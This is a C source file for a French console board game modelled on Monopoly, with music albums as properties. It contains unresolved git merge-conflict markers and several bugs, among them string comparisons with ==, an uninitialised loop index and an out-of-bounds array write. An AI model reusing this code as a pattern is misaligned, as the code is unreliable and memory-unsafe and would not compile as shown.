int argentRestant, i, venteTotale = 0;
argentRestant = compterArgent(currentplayer, listeTerrain);
printf("%d", argentRestant);
printf("%d", argentRestant);
printf("%d", argentRestant);
printf("%d", argentRestant);
printf("%d", argentRestant);
Sleep(1000);
if (argentRestant > sommeApayer){
while (venteTotale < sommeApayer){
venteTotale += vendreMaisonJ2(listeTerrain[i], listeTerrain[i].buildings);
venteTotale += hypothequerTerrain2(listeTerrain[i]);
hypothequerTerrainJ(currentplayer, listeTerrain[i]);
hypothequerTerrainT(currentplayer, listeTerrain, listeTerrain[i]);
i++;
}
currentplayer->balance += venteTotale;
} else if (argentRestant < sommeApayer){
currentplayer->balance = 0;
printf("%s n'a pas assez d'argent, il est hors course !", currentplayer->username);
}
}
void tourComplet(joueur* player){ // fonction qui repère si le joueur a fait un tour complet
if (player->position >= 40){
=======
void tourComplet(joueur *player) { // fonction qui repère si le joueur a fait un tour complet
if (player->position >= 40) {
>>>>>>> Stashed changes
player->position -= 40;
player->balance += 200;
}
}
void acheterCarteSortie(joueur* detenteur, joueur* enprison){
int montant = 0;
char choix[10];
gotoligcol(20,15);
do{printf("%s, saisissez le prix voulu pour la carte : ", detenteur->username);
scanf("%d", &montant);}while(montant < 0);
gotoligcol(21,15);
do{printf("%s, acceptez-vous de payer ce prix ? Tapez 'Oui' ou 'Non' : ");
scanf("%s", choix);}while(choix != "Oui" && choix != "Non");
if (choix == "Oui"){
enprison->balance -= montant;
enprison->sortiePrison = true;
detenteur->balance += montant;
detenteur->sortiePrison = false;
}
}
int argentPaye(joueur *currentplayer, terrain album) { // fonction de paiement du loyer --> partie 1
int loyerA, nbMaisons = 0; // on récupère le montant dû ici
nbMaisons = album.buildings;
switch (nbMaisons) {
case 0:
loyerA = album.loyer;
break;
case 1:
loyerA = album.loyermaison1;
break;
case 2:
loyerA = album.loyermaison2;
break;
case 3:
loyerA = album.loyermaison3;
break;
case 4:
if (album.hotel == true) {
loyerA = album.loyerhotel;
} else {
loyerA = album.loyermaison4;
}
}
return loyerA;
}
void payerLoyerJ1(joueur *currentplayer, int loyer) { // fonction de paiement du loyer --> partie 2
currentplayer->balance -= loyer; // le joueur tombé sur la case perd l'argent
}
void toucherLoyerJ2(joueur *currentplayer, int loyer) { // fonction de paiement du loyer --> partie 3
currentplayer->balance += loyer; // le propriétaire du terrain touche l'argent
}
void plateauGraphique(terrain *listeTerrains) { // création du plateau de base, il reste inchangé après
int couleurCaseNeutre = 15;
for (int i = 0; i < 22; i++) {
terrain currentTerrain = listeTerrains[i];
char *nomCurrent = currentTerrain.nom;
creationCase(nomCurrent, currentTerrain.x, currentTerrain.y, currentTerrain.id, currentTerrain.couleur);
}
creationCase("Soundcloud", 0, 0, 0, couleurCaseNeutre);
creationCase("Communaute", 15, 0, 0, couleurCaseNeutre);
creationCase("Zenith", 25, 0, 0, couleurCaseNeutre);
creationCase("Sacem", 40, 0, 0, couleurCaseNeutre);
creationCase("Finito", 50, 0, 0, couleurCaseNeutre);
creationCase("Chance", 0, 26, 0, couleurCaseNeutre);
creationCase("Zenith", 0, 65, 0, couleurCaseNeutre);
creationCase("Sacem", 0, 104, 0, couleurCaseNeutre);
creationCase("Drama", 0, 130, 0, couleurCaseNeutre);
creationCase("Communaute", 15, 130, 0, couleurCaseNeutre);
creationCase("Zenith", 25, 130, 0, couleurCaseNeutre);
creationCase("Chance", 30, 130, 0, couleurCaseNeutre);
creationCase("Sacem", 40, 130, 0, couleurCaseNeutre);
creationCase("DEPART", 50, 130, 0, couleurCaseNeutre);
creationCase("Chance", 50, 39, 0, couleurCaseNeutre);
creationCase("Zenith", 50, 65, 0, couleurCaseNeutre);
creationCase("Sacem", 50, 78, 0, couleurCaseNeutre);
creationCase("Communaute", 50, 104, 0, couleurCaseNeutre);
}
box *creationBox() {
box *listeCase = (box *)malloc(40 * sizeof(box));
box tempBox;
char *name[20];
for (int i = 0; i < 40; i++) {
FILE *texte = NULL;
char ignore[1024];
int donnee[3];
listeCase[40];
texte = fopen("data/board.txt", "r");
if (texte == NULL) {
printf("Error: Cannot open");
}
for (int j = 0; j < i; j++) {
fgets(ignore, sizeof(ignore), texte);
}
fscanf(texte, "%d;%d;%d;%c", &donnee[0], &donnee[1], &donnee[2], &name);
// tempBox = {donnee[0], donnee[1], donnee[2], (char)i};
tempBox.id = donnee[0];
tempBox.x = donnee[1];
tempBox.y = donnee[2];
listeCase[i] = tempBox;
}
return listeCase;
}
terrain *creationTerrain() { // création d'une instance (un album)
terrain *listeTerrain = (terrain *)malloc(23 * sizeof(terrain));
terrain instance;
char *listeNomTerrain[22] = {"<NAME>", "Brol", "Absolution", "Plat.Collec", "Nevermind", "RAM", "One More Love",
"Discovery", "MMLP", "NWTS", "Eminem Show", "Or Noir", "Ouest Side", "Civilisation", "Unorth.Juke",
"After Hours", "Thriller", "DLL", "Trinity", "JVLIVS", "Ipseite", "Cyborg"};
for (int i = 0; i < 22; i++) {
char *nomCurrent = listeNomTerrain[i];
FILE *texte = NULL;
char ignore[1024];
int donnee[15];
char proprio[10];
texte = fopen("data/fields.txt", "r");
if (texte == NULL) {
printf("Error: Cannot open");
}
for (int j = 0; j < i; j++) {
fgets(ignore, sizeof(ignore), texte);
}
fscanf(texte, "%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d", &donnee[0], &donnee[1], &donnee[14],
&donnee[2], &donnee[3], &donnee[4], &donnee[5], &donnee[6], &donnee[7],
&donnee[8], &donnee[9], &donnee[10], &donnee[11], &donnee[12], &donnee[13], &donnee[15]);
instance.nom = nomCurrent;
instance.id = donnee[0];
instance.defaultPrice = donnee[1];
instance.idOnBoard = donnee[14];
instance.housePrice = donnee[2];
instance.loyer = donnee[3];
instance.loyermaison1 = donnee[4];
instance.loyermaison2 = donnee[5];
instance.loyermaison3 = donnee[6];
instance.loyermaison4 = donnee[7];
instance.loyerhotel = donnee[8];
instance.val_hypoth = donnee[9];
instance.buildings = donnee[10];
instance.x = donnee[11];
instance.y = donnee[12];
instance.couleur = donnee[13];
instance.ownedBy = donnee[15];
instance.owned = false;
instance.hotel = false;
instance.hypotheque = false;
listeTerrain[i] = instance;
}
return listeTerrain;
}
int choixAvatar(int nbJoueurs, int currentPlayer, int *numAvatar) {
bool end = false;
int av;
int key, c;
int avatar[10] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x0B, 0x0C, 0x0E, 0x0F};
int avatarUtilise[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
int selection = 0;
int useAvatar = 0;
showCursor(false);
display();
printf("Veuillez choisir votre avatar");
gotoligcol(17, 7);
printf("<--- --->");
gotoligcol(17, 13);
printf("%c", avatar[selection]);
while (!end) {
gotoligcol(17, 13);
if (kbhit()) {
key = getch();
switch (key) {
case 75:
if (selection > 0) {
selection = selection - 1;
}
printf("%c", avatar[selection]);
clearCoords(5,15,50,16);
useAvatar = 0;
break;
case 77:
if (selection < 9) {
selection++;
}
printf("%c", avatar[selection]);
clearCoords(5,15,50,16);
useAvatar = 0;
break;
case 13:
for (int j = 0; j < 4; j++) {
if (avatar[selection] == numAvatar[j]) {
useAvatar += 1;
}
}
if (useAvatar > 0) {
gotoligcol(15,5);
printf("Impossible, cet avatar est deja utilise.");
useAvatar = 0;
} else {end = true;}
break;
/* Pour vérifier si l'avat est déjà pris
av = avatar[selection];
switch (currentPlayer) {
case 1:
if ((av == j2.avatar) || (av == j3.avatar) || (av == j4.avatar)) {
printf("Avatar deja choisi !");
} else {
end = true;
}
break;
case 2:
if ((av == j1.avatar) || (av == j3.avatar) || (av == j4.avatar)) {
printf("Avatar deja choisi !");
} else {
end = true;
}
break;
case 3:
if ((av == j1.avatar) || (av == j2.avatar) || (av == j4.avatar)) {
printf("Avatar deja choisi !");
} else {
end = true;
}
break;
case 4:
if ((av == j1.avatar) || (av == j2.avatar) || (av == j3.avatar)) {
printf("Avatar deja choisi !");
} else {
end = true;
}
break;
{*/
}
}
}
gotoligcol(18, 5);
printf("Selection enregistree");
animation(20, 0, 50, 28);
/*
for (c = selection - 1; c < 10 - 1; c++)
avatar[c] = avatar[c + 1];
printf("Resultant array:\n");
for (c = 0; c < 10 - 1; c++)
printf("%c\n", avatar[c]);
*/
showCursor(true);
return avatar[selection];
}
joueur *creationDesJoueurs(int nombreDeJoueurs) {
int emptyCard[10];
int emptyField[26];
char pseudo[10];
//int *avatarUtilise = (int *)calloc(4, sizeof(int));
int avatarUtilise[4] = {0, 0, 0, 0};
joueur *listeJoueurs = (joueur *)malloc(4 * sizeof(joueur));
joueur tempJ1 = {1, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0, 0};
joueur tempJ2 = {2, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0, 0};
joueur tempJ3 = {3, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0, 0};
joueur tempJ4 = {4, 1500, "NULL", -1, {0}, false, false, false, false, 0, 0, 0};
listeJoueurs[0] = tempJ1;
listeJoueurs[1] = tempJ2;
listeJoueurs[2] = tempJ3;
listeJoueurs[3] = tempJ4;
for (int i = 0; i < nombreDeJoueurs; i++) {
display();
printf("Entrez le nom du joueur %d (10 caracteres maximum): ", i + 1);
scanf("%s", pseudo);
while (strlen(pseudo) > 10) {
printf("\nImpossible, le pseudo doit avoir moins de 10 caracteres :\n>> ");
fflush(stdin);
scanf("%s", pseudo);
}
strcpy(listeJoueurs[i].username, pseudo);
listeJoueurs[i].avatar = choixAvatar(nombreDeJoueurs, 1, avatarUtilise);
avatarUtilise[i] = listeJoueurs[i].avatar;
listeJoueurs[i].position = 0;
}
display();
gotoligcol(14, 0);
for (int i = 0; i < nombreDeJoueurs; i++) {
printf("Pseudo et avatar du joueur %d : %s - %c\n", i + 1, listeJoueurs[i].username, listeJoueurs[i].avatar);
}
printf("\nChargement de la partie en cours");
animation(20, 0, 75, 50);
//free(avatarUtilise);
return listeJoueurs;
}
int demanderNbJoueurs() { // fonction demandant et renvoyant le nombre de joueurs
int nbJoueur = 0;
display();
printf("Veuillez entrer le nombre de joueurs (entre 2 et 4 inclus) : ");
scanf("%d", &nbJoueur);
while ((nbJoueur != 2) && (nbJoueur != 3) && (nbJoueur != 4)) {
printf("\nLa valeur saisie est invalide (entre 2 et 4 inclus) :\n>> ");
fflush(stdin);
scanf("%d", &nbJoueur);
}
return nbJoueur;
}
void home() { // menu principal du jeu
int choice = 0;
clearScreen();
showLogo();
gotoligcol(14, 23);
Color(15, 2);
printf("1-Lancer une nouvelle partie");
gotoligcol(14, 60);
Color(15, 3);
printf("2-Sauvegarder la partie");
gotoligcol(14, 93);
Color(15, 4);
printf("3-Charger une ancienne partie");
gotoligcol(16, 33);
Color(15, 9);
printf("4-Consulter les regles");
gotoligcol(16, 67);
Color(15, 12);
printf("5-Credits");
gotoligcol(16, 89);
Color(15, 8);
printf("6-Quitter le jeu");
gotoligcol(19, 0);
Color(15, 0);
printf("--> Que choisissez-vous de faire ? Tapez un chiffre : ");
fflush(stdin);
scanf("%d", &choice);
while ((choice != 1) && (choice != 2) && (choice != 3) && (choice != 4) && (choice != 5) && (choice != 6)) {
printf("\nVotre saisie (%d) n'est pas valide. Valeur attendue : 1, 2, 3, 4, 5 ou 6.\nVeuillez entrer un chiffre a nouveau >> ", choice);
fflush(stdin);
scanf("%d", &choice);
}
switch (choice) {
case 1:
clearScreen();
newGame();
break;
case 4:
clearScreen();
regles();
break;
case 5:
clearScreen();
credits();
break;
}
}
void homeInGame(joueur **listePlayers, joueur *currentplayer, terrain *listeTerrain, int nbJoueurs, bool rejouer, int nbTours) {
int choice = 0; // 2e menu principal, celui auquel on accède via la partie (différence : sauvegarde)
clearScreen();
showLogo();
gotoligcol(14, 23);
Color(15, 2);
printf("1-Lancer une nouvelle partie");
gotoligcol(14, 60);
Color(15, 3);
printf("2-Sauvegarder la partie");
gotoligcol(14, 93);
Color(15, 4);
printf("3-Charger une ancienne partie");
gotoligcol(16, 33);
Color(15, 9);
printf("4-Consulter les regles");
gotoligcol(16, 67);
Color(15, 12);
printf("5-Credits");
gotoligcol(16, 89);
Color(15, 8);
printf("6-Quitter le jeu");
gotoligcol(19, 0);
Color(15, 0);
printf("--> Que choisissez-vous de faire ? Tapez un chiffre : ");
fflush(stdin);
scanf("%d", &choice);
while ((choice != 1) && (choice != 2) && (choice != 3) && (choice != 4) && (choice != 5) && (choice != 6)) {
gotoligcol(20, 0);
printf("Votre saisie (%d) n'est pas valide. Veuillez entrer un chiffre a nouveau : \n", choice);
fflush(stdin);
scanf("%d", &choice);
}
switch (choice) {
case 1:
clearScreen();
newGame();
break;
case 2:
faireSauvegarde(listePlayers, currentplayer, listeTerrain, nbJoueurs, rejouer, nbTours);
gotoligcol(21, 0);
printf("La partie a ete sauvegarde !");
Sleep(2000);
homeInGame(listePlayers, currentplayer, listeTerrain, nbJoueurs, rejouer, nbTours);
break;
case 3 :
chargerSauvegarde();
break;
case 4:
clearScreen();
regles();
break;
case 5:
clearScreen();
credits();
break;
}
}
void infoAlbum(terrain field) { // fonction affichant toutes les infos d'un album
int revenir = 0;
<<<<<<< Updated upstream
clearCoords(15,22,90,33);
=======
clearCoords(15, 22, 90, 32);
>>>>>>> Stashed changes
gotoligcol(23, 20);
printf("Album : %s", field.nom);
gotoligcol(24, 20);
if (field.owned == true) {
printf("L'album appartient au joueur %d", field.ownedBy);
} else {
printf("L'album n'appartient a personne.");
}
gotoligcol(25, 20);
printf("Prix de base de l'album : %d%c", field.defaultPrice, 0x24);
gotoligcol(26, 20);
printf("Prix d'une certification : %d%c", field.housePrice, 0x24);
gotoligcol(27, 20);
printf("Disque non certifie : %d%c / ", field.loyer, 0x24);
gotoligcol(27, 47);
printf("Disque d'argent : %d%c", field.loyermaison1, 0x24);
gotoligcol(28, 20);
printf("Disque d'or : %d%c / ", field.loyermaison2, 0x24);
gotoligcol(28, 41);
printf("Disque de platine: %d%c", field.loyermaison3, 0x24);
gotoligcol(29, 20);
printf("Disque de diamant : %d%c", field.loyermaison4, 0x24);
gotoligcol(30, 20);
printf("Disque certifie double diamant : %d%c", field.loyerhotel, 0x24);
gotoligcol(31, 20);
if (field.hotel == true) {
printf("L'album est certifie double diamant.");
} else if (field.buildings > 0) {
printf("L'album possede %d certifications.", field.buildings);
} else {
printf("L'album n'est pas certifie.");
}
gotoligcol(32, 20);
printf("La valeur de la revente est estimee a %d%c", field.val_hypoth, 0x24);
do {
gotoligcol(33, 20);
printf("Pour revenir au tour, appuyez sur 1 : ");
scanf("%d", &revenir);
} while (revenir != 1);
}
void retourMenu() { // fonction intermédiaire pour revenir dans le menu principal
home();
}
void retourMenuInGame(joueur **listePlayers, joueur *currentplayer, terrain *listeTerrain, int nbJoueurs, bool rejouer, int nbTours) { // fonction intermédiaire pour revenir dans le menu principal
homeInGame(listePlayers, currentplayer, listeTerrain, nbJoueurs, rejouer, nbTours);
}
void regles() { // affichage des règles du jeu : exit avec lettre 'a' ; accessible via le menu principal
int sortie;
printf("REGLESREGLELGERESLRE SELGERSELGERSELGERSEL REGLESREGLESERGE REG SELGERSELGERSELGERSEL REGLESREGLES");
printf("\nSEL REG REL REGLES SER REG REGLES");
printf("\nREG REG SEL REGLES REG SEL REGLES");
printf("\nSEL REG REG REGLES SER REG REGL");
printf("\nREG SEL SEL REGLES REG SEL REG");
printf("\nSEL REG REG REGLES SER REG REGL");
printf("\nREG SEL SEL REGLE REG SEL REGLES");
printf("\nSEL REG REGLESREGRELESR EGLE SER REGLESREGRELESR REGL");
printf("\nREGLESEGLESREGLES SEL REG SERGLES REG SEL REGLE");
printf("\nREG SEL SEL REGLE EGLES SER REG REGLE");
printf("\nSEL REG SEL REGLES ERGEL REG SEL REGLE");
printf("\nREG SEL REG SERLG REGLE SER REG REGLE");
printf("\nSEL REG SEL REGLE SERLG REG SEL REGLE");
printf("\nREG SEL REG SERGLER REGLES SER REG REGLES");
printf("\nSEL REG SELGERSELGERSELGERSEL REGLESSERGLE REGLESREGLESREG SELGERSELGERSELGERSEL REGREGLESREG");
printf("\n\n 1- Banque : \nAu depart, la banque verse 1500%c a chaque joueur.\nElle verse 200%c lorsqu'un joueur passe par la case depart.", 0x24, 0x24);
printf("\nL'argent des cartes chance et des cartes communaute sont verses a la banque.\nLorsque qu'il tombe sur la case Sacem, le joueur doit verser 200%c a la banque.", 0x24);
printf("\n\n 2 - Des : \nSi un joueur fait un double, il a le droit de rejouer.\nSi il fait trois doubles de suite le joueur doit aller en prison.");
printf("\n\n 3 - Prison : \nLe joueur doit aller en prison s'il fait trois doubles de suite, s'il tire une carte chance lui disant d'aller en prison ou s'il tombe sur la case DRAMA.");
printf("\nPour sortir de prison le joueur doit faire un double lors de son tour, avoir eu une carte chance lui permettant de sortir de prison ou bien payer 50%c. Au bout de 3 tours, il est oblige de payer 50%c pour sortir.", 0x24, 0x24);
printf("\nLorsqu'il est envoye en prison, s'il passe par la case depart, le joueur ne recoit pas l'argent qui lui est du.");
printf("\nLes cartes Sortie de Prison et Denonciation sont utilisables qu'une seule fois par partie");
printf("\n\n 4 - Album : \nLorsqu'un joueur tombe sur une case 'album', il :\n - peut l'acheter s'il a l'argent necessaire pour le faire et si elle n'appartient a personne.");
printf("\n - peut acheter des maisons si l'emplacement est deja a lui ou acheter un hotel s'il y a deja 4 maisons sur ce terrain.\n - doit payer un loyer si l'emplacement appartient a un adversaire.");
printf("\n - n'a aucun loyer a payer si la propriete appartient a un adversaire mais est hypothequee.");
printf("\nIl peut y avoir au maximum 32 maisons et 12 hotels en meme temps dans le jeu.");
printf("\n\n 5 - Hypotheque :\nPour qu'un joueur hypotheque une propriete, il doit vendre toutes les certifications qu'il a sur cette case et , s'il en a, les certifications sur ses proprietes de la meme couleur.");
printf("\nPour lever le montant de l'hypotheque, un joueur doit payer a la banque le cout de l'hypotheque ainsi qu'une majoration de 10%c du prix de l'hypotheque.", 0x25);
printf("\nUn joueur peut vendre un terrain hypotheque a un autre a un prix convenu entre eux. L'acheteur peut faire le choix de lever l'hypotheque immediatemment en payant, a la banque, le prix de l'hypotheque + 10%c ou attendre et payer lors de l'achat 10%c, a la banque, du prix convenu entre les deux joueurs a la banque puis au moment de lever l'hypotheque payer le prix ainsi que les 10%c a la banque.", 0x25, 0x25, 0x25);
printf("\n\n 6 - Faillite :\nS'il ne peut plus payer, a la banque ou a un autre joueur, la somme qu'il leur doit, le joueur est en faillite et est elimine.");
printf("\nIl doit donner tout ce qu'il lui reste a la personne a qui il doit de l'argent.\nLorsqu'il legue des biens hypotheques, le creancier doit immediatemment payer une taxe de 10%c a la banque, et a ensuite le choix de lever l'hypotheque immediatemment ou bien d'attendre plusieurs tours mais il devra repayer les interets a la banque.", 0x25);
printf("\nSi le joueur doit l'argent a la banque, tous ses biens sont donnes a cette derniere.");
printf("\nTapez 1 pour revenir au menu >> ");
scanf("%d",&sortie);
while (sortie != 1) {
printf("\nChoix invalide >> ");
fflush(stdin);
scanf("%d",&sortie);
}
printf("REVENIR A HOME IN GAME");
Sleep(2500);
}
void credits() { // affichage des crédits du jeu : exit avec lettre 'a' ; accessible via le menu principal
char sortie;
printf(" CERDTSCREDITSCER CREDITSCREDITSCRE CREDITSCREDITSCRE CREDITSCR CREDITSCREDITSCRE CREDITSCREDITSCRE CREDITSCREDITSC");
printf("\n STIDERCCR CREDITS CRE CRE CRE DIT CRE CRE CRE CREDITS");
printf("\n CREDITSC DIT DIT DIT CRE CRE DIT DIT CREDITS");
printf("\n STERDIC SCR SCR CRE DIT STI CRE CRE CREDITS");
printf("\nCREDIT EDI CRE DIT CRE CRE DIT DIT CREDITS");
printf("\nSERDTE TSC DIT CRE DIT STI CRE CRE CREDITS");
printf("\nCREDIT RED SCR DITCREDITR CRE CRE DIT DIT CREDITS");
printf("\nSERDIC CREDITSCREDITSCR CRE DIT STI CRE CRE CREDITS");
printf("\nCREDIT SCR CRE DIT CRE CRE DIT DIT CREDITS");
printf("\n STERDIC EDI DIT CRE DIT STI CRE CRE CREDITS");
printf("\n CREDITSC TSC CRE DIT CRE CRE DIT DIT CREDITS");
printf("\n STIDERCCR CREDITS RED DIT CRE DIT CRE CRE CRE CREDITS");
printf("\n CERDIDCREDITSCER ITS SCR DITCREDITCREDITC CREDITSCR CREDITSCRDITSCRE DIT CREDITSCREDI");
for (int i = 0; i < 9; i++) {
gotoligcol(15 + i, 61);
printf("|");
gotoligcol(15 + i, 81);
printf("|");
}
for (int j = 0; j < 19; j++) {
gotoligcol(14, 61 + j + 1);
printf("%c", 0xC4);
gotoligcol(24, 61 + j + 1);
printf("%c", 0xC4);
}
Color(15, 2);
gotoligcol(16, 65);
printf("<NAME>");
Color(15, 5);
gotoligcol(18, 65);
printf("<NAME>");
Color(15, 4);
gotoligcol(20, 64);
printf("<NAME>");
Color(15, 9);
gotoligcol(22, 64);
printf("<NAME>");
Color(15, 0);
printf("\nTapez 1 pour revenir au menu >> ");
scanf("%d",&sortie);
while (sortie != 1) {
printf("\nChoix invalide >> ");
fflush(stdin);
scanf("%d",&sortie);
}
retourMenu();
}
joueur doubleStreakLimite(joueur player) {
gotoligcol(25, 15);
printf("Envoyer le joueur en prison");
player.position = 10;
player.streakDouble = 0;
return player;
}
int cartePrisonEnJeu(joueur **listePlayers) {
for (int i = 0; i < 4; i++) {
if (listePlayers[i]->sortiePrison == true) {
return listePlayers[i]->id;
} else {
return 0;
}
}
}
void deplacement(joueur *player, int sommeDe) {
gotoligcol(21, 50);
printf("Deplacer %s de la case %d a la case %d.", player->username, player->position, (player->position + sommeDe));
Sleep(2000);
(player)->position += sommeDe;
}
void tourPartie2(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours) {
updateTour(listeTerrain, listePlayers, listeCases, currentPlayer, nbJoueurs);
Color(15, 0);
int terrainactuel, choix, proprietaire, nbMaisons, idalbum, loyer, compteur, argentRestant = 0;
joueur *player = listePlayers[currentPlayer];
gotoligcol(6, 120);
printf("Tour n%c%d", 0xF8, nbTours);
gotoligcol(6, 15);
printf("Solde du joueur %s : %d%c", (player)->username, (player)->balance, 0x24);
if ((player)->position == 36 || (player)->position == 7 || (player)->position == 22) { // cases chance
gotoligcol(26, 15);
*player = chance(*player);
} else if ((player)->position == 2 || (player)->position == 17 || (player)->position == 33) { // cases communauté
gotoligcol(26, 15);
*player = communaute(*player, listeTerrain);
} else if ((player)->position == 4 || (player)->position == 12 || (player)->position == 28 || (player)->position == 38) { // cases sacem
player->balance -= 200;
//argentRestant = compterArgent(player, listeTerrain);
//printf("%d", argentRestant);
//Sleep(2000);
//faillite(player, listeTerrain, 200);
} else if ((player)->position == 20 || (player)->position == 0) { // case soundcloud (stationnement libre)
gotoligcol(26, 15);
printf("Reposez vous bien !");
} else if ((player)->position == 30) { // case drama
gotoligcol(26, 15);
printf("A cause d'une polemique, vous etes finito ...");
(player)->position = 10;
player->inJail = true;
} else if ((player)->position == 10) { // case prison
gotoligcol(26, 15);
printf("Vous rendez visite a un ami en prison.");
} else if ((player)->position == 5 || (player)->position == 15 || (player)->position == 25 || (player)->position == 35) { // cases Zéniths
gotoligcol(26, 15);
printf("Case de repos.");
} else {
for (int i = 0; i < 22; i++) {
if (listeTerrain[i].idOnBoard == (player)->position) {
terrainactuel = listeTerrain[i].id - 1; // on récupère l'ID de l'album sur lequel le joueur est
}
}
nbMaisons = listeTerrain[terrainactuel].buildings;
if (listeTerrain[terrainactuel].owned == true && listeTerrain[terrainactuel].ownedBy != (player)->id) {
<<<<<<< Updated upstream
if (listeTerrain[terrainactuel].hypotheque == true){
gotoligcol(25,15);
printf("Ce terrain est hypotheque, pas besoin de payer !");
} else {
proprietaire = listeTerrain[terrainactuel].ownedBy;
loyer = argentPaye(player, listeTerrain[terrainactuel]);
gotoligcol(25, 15);
printf("%s est chez %s !", (player)->username, listePlayers[proprietaire-1]->username);
gotoligcol(26, 15);
printf("%s doit lui verser %d%c", (player)->username, loyer, 0x24);
gotoligcol(27, 15);
if (player->balance-loyer < 0){
//faillite(player, listeTerrain, loyer);
if (player->balance == 0){
printf("%s cede toute sa fortune a %s", (player)->username, listePlayers[proprietaire-1]->username);
loyer = player->balance;
}
} else {
payerLoyerJ1(player, loyer);
}
animation(28, 15, 100, 15);
toucherLoyerJ2(listePlayers[proprietaire-1], loyer);
}
=======
proprietaire = listeTerrain[terrainactuel].ownedBy;
loyer = argentPaye(player, listeTerrain[terrainactuel]);
gotoligcol(25, 15);
printf("%s est chez %s !", (player)->username, listePlayers[proprietaire - 1]->username);
gotoligcol(26, 15);
printf("%s doit lui verser %d%c", (player)->username, loyer, 0x24);
// gotoligcol(28, 15);
// printf("Appuyez sur 'Entree' pour continuer.");
payerLoyerJ1(player, loyer);
toucherLoyerJ2(listePlayers[proprietaire - 1], loyer);
>>>>>>> Stashed changes
} else {
gotoligcol(25, 15);
printf("%s peut maintenant :", (player)->username);
gotoligcol(26, 15);
printf("1- Acheter la propriete");
gotoligcol(27, 15);
printf("2- Acheter une maison ou un hotel");
gotoligcol(28, 15);
printf("3- Vendre une maison ou un hotel");
gotoligcol(29, 15);
printf("4- Obtenir des informations sur un terrain");
gotoligcol(30, 15);
printf("5- Finir le tour et passer au joueur suivant");
gotoligcol(31,15);
printf(">> ");
fflush(stdin);
scanf("%d", &choix);
while ((choix != 1) && (choix != 2) && (choix != 3) && (choix != 4) && (choix != 5)) {
printf("Saisie invalide (Valeur attendue : 1, 2, 3, 4 ou 5)\n>> ");
fflush(stdin);
scanf("%d", &choix);
};
}
if (choix == 1) {
terrainactuel = listeCases[terrainactuel].id;
if (listeTerrain[terrainactuel].ownedBy == player->id){
gotoligcol(32,15);
printf("Vous possedez deja ce terrain.");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
}
if (player->balance-listeTerrain[terrainactuel].defaultPrice < 0){
gotoligcol(32,15);
printf("Vous n'avez pas assez d'argent. Revenez plus tard !");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else {
acheterTerrainJ(player, listeTerrain[terrainactuel]);
acheterTerrainT(player, &listeTerrain[terrainactuel]);
}
} else if (choix == 2) {
if (listeTerrain[terrainactuel].ownedBy != player->id) {
gotoligcol(32, 15);
printf("Vous n'etes pas proprietaire de ce terrain, veuillez choisir une autre option.");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else if (player->balance-listeTerrain[terrainactuel].housePrice < 0) {
gotoligcol(32, 15);
printf("Vous n'avez pas assez d'argent. Revenez plus tard !");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else {
acheterMaisonJ(player, listeTerrain[terrainactuel]);
acheterMaisonT(player, &listeTerrain[terrainactuel]);
}
<<<<<<< Updated upstream
} else if (choix == 4) {
printf("Saisissez l'ID de l'album sur lequel vous souhaitez des informations :\n");
do {
printf("De 1 a 22 inclus >> ");
=======
} else if (choix == 3) {
do {
gotoligcol(30, 15);
printf("Saisissez l'ID de l'album sur lequel vous souhaitez des informations : ");
>>>>>>> Stashed changes
scanf("%d", &idalbum);
} while (idalbum < 1 || idalbum > 22);
infoAlbum(listeTerrain[idalbum - 1]);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else if (choix == 5) {
if (!rejouer) {
gotoligcol(26, 30);
printf("Passer au tour du joueur suivant");
} else {
gotoligcol(26, 30);
printf("On fait rejouer le joueur");
}
} else if (choix == 3) {
if (listeTerrain[terrainactuel].ownedBy != player->id) {
gotoligcol(32, 15);
printf("Vous n'etes pas proprietaire de ce terrain, veuillez choisir une autre option.");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else if (listeTerrain[terrainactuel].buildings == 0){
gotoligcol(32, 15);
printf("Il n'y a pas de maisons a vendre, veuillez choisir une autre option.");
Sleep(500);
tourPartie2(listeTerrain, listePlayers, listeCases, currentPlayer, rejouer, nbJoueurs, nbTours);
} else {
vendreMaisonJ(player, listeTerrain[terrainactuel], 1);
vendreMaisonT(player, &listeTerrain[terrainactuel], 1);
}
}
}
}
void tourPrison(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, int nbJoueurs, bool rejouer, int nbTours) {
updateTour(listeTerrain, listePlayers, listeCases, currentPlayer, nbJoueurs);
Color(15, 0);
int premierDe = 0;
int deuxiemeDe = 0;
int sommeDe = 0;
int choix1, choix2 = 0;
int idJPrison = 0; // id du potentiel joueur possédant une carte sortiePrison
idJPrison = cartePrisonEnJeu(listePlayers);
joueur *player = listePlayers[currentPlayer];
gotoligcol(6, 15);
printf("Solde du joueur %s : %d%c", player->username, player->balance, 0x24);
gotoligcol(25, 15);
printf("C'est au tour de %s : il est en prison depuis %d tour(s).", (player)->username, (player)->timeInJail);
gotoligcol(26, 15);
printf("Il peut :");
gotoligcol(27, 15);
printf("1- Continuer le tour");
gotoligcol(28, 15);
printf("2- Retourner au menu");
do {
gotoligcol(29, 15);
printf(">> ");
scanf("%d", &choix1);
} while (choix1 < 1 || choix1 > 2);
if (choix1 == 1) { // Continuer le tour
if ((player)->timeInJail == 3) { // Si il est en prison depuis 3 tours
(player)->timeInJail = 0;
//faillite(player, listeTerrain, 50);
(player)->balance -= 50;
gotoligcol(28, 35);
printf("%s perd donc 50%c et peut a nouveau jouer normalement.", (player)->username, 0x24);
gotoligcol(25, 15);
tourNormal(listeTerrain, listePlayers, listeCases, currentPlayer, false, nbJoueurs, nbTours);
} else { // Si il est en prison depuis moins de 3 tours
